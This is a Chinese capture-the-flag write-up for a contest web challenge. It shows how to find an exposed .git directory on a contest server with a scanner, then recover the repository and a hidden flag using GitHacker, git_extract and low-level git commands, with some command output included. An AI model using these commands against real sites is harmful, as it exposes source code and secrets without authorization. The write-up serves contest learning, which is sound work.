i春秋 第二届春秋欢乐赛 Hello World
使用扫描工具扫描
python3 dirmap.py -i http://106.75.72.168:9999/ -lcf
发现存在/.git/文件
使用GitHacker获取泄露的信息
python GitHacker.py http://106.75.72.168:9999/.git/
查看flag.js文件
cat flag.js
发现是一袭混淆的代码
重新审视赛题
获取遗漏的object
本题的考点原意是.git/logs/HEAD文件的利用,而githack并没有对其中的hash提取,因此遗漏了部分的object
这里使用JGitHack是可以获取到这些遗漏的object(这里不知道为什么我在windows10上无法正常使用)
手工提取object
这里使用git的底层命令,cat-file和ls-tree
cat-file
发现b5dfb5846ad5a81ebf6104d5230728cbf48d653b与9ee4dcc90211b7c2dc3e5639a0296aecb730b48c的文件名相同但是hash不同
root@bogon:#git cat-file -p 887746652d1084c47682b6e1b46bbc37c9315663 d1084c47682b6e1b46bbc37c9315663 tree b5dfb5846ad5a81ebf6104d5230728cbf48d653b author yichinzhu <787954349@qq.com> 1494432951 +0800 committer yichinzhu <787954349@qq.com> 1494432951 +0800 finish
root@bogon:#git cat-file -p 09e053a355059e89b4367024578c477e022ac6d6 tree 9ee4dcc90211b7c2dc3e5639a0296aecb730b48c parent 887746652d1084c47682b6e1b46bbc37c9315663 author yichinzhu <787954349@qq.com> 1494434367 +0800 committer yichinzhu <787954349@qq.com> 1494434367 +0800 the dev branch is for developing
root@bogon:#git cat-file -p b5dfb5846ad5a81ebf6104d5230728cbf48d653b 100644 blob f2b45f1e5af6dc1a8607c11e4ddc5fd077276c45 flag.js 100644 blob 058e764e697528c84db00fe6e6e872bcb96dd23c flag.php 100644 blob b87380749e1c45195483373cc0061547f344900c index.php
root@bogon:#git cat-file -p 9ee4dcc90211b7c2dc3e5639a0296aecb730b48c 100644 blob 04bb09bb63fe48e6cab3e1c72a7ef51dda9634b8 flag.js 100644 blob 058e764e697528c84db00fe6e6e872bcb96dd23c flag.php 100644 blob b87380749e1c45195483373cc0061547f344900c index.php
root@bogon:#git cat-file -p b87380749e1c45195483373cc0061547f344900c <html> <head> <title> </title> </head> <script src="flag.xmas.js"></script> <h1>Hello, World!</h1>
ls-tree
root@bogon:#git ls-tree b5dfb5846ad5a81ebf6104d5230728cbf48d653b 100644 blob f2b45f1e5af6dc1a8607c11e4ddc5fd077276c45 flag.js 100644 blob 058e764e697528c84db00fe6e6e872bcb96dd23c flag.php 100644 blob b87380749e1c45195483373cc0061547f344900c index.php root@bogon:#git ls-tree 9ee4dcc90211b7c2dc3e5639a0296aecb730b48c 100644 blob 04bb09bb63fe48e6cab3e1c72a7ef51dda9634b8 flag.js 100644 blob 058e764e697528c84db00fe6e6e872bcb96dd23c flag.php 100644 blob b87380749e1c45195483373cc0061547f344900c index.php
下载两个hash不同的文件
因为hash不同代表这两个文件肯定被修改过,所以下载下来查看有哪些部分被修改
使用命令git cat-file
root@bogon:#git cat-file blob f2b45f1e5af6dc1a8607c11e4ddc5fd077276c45 > f2b45f1.js
root@bogon:#git cat-file blob 04bb09bb63fe48e6cab3e1c72a7ef51dda9634b8 > 04bb09b.js
对比两个文件
发现改变的地方就是flag,链接起来提交即可
TIPS
如果你使用Git_Extract可以直接提取到两个js文件
python git_extract.py http://106.75.72.168:9999/.git/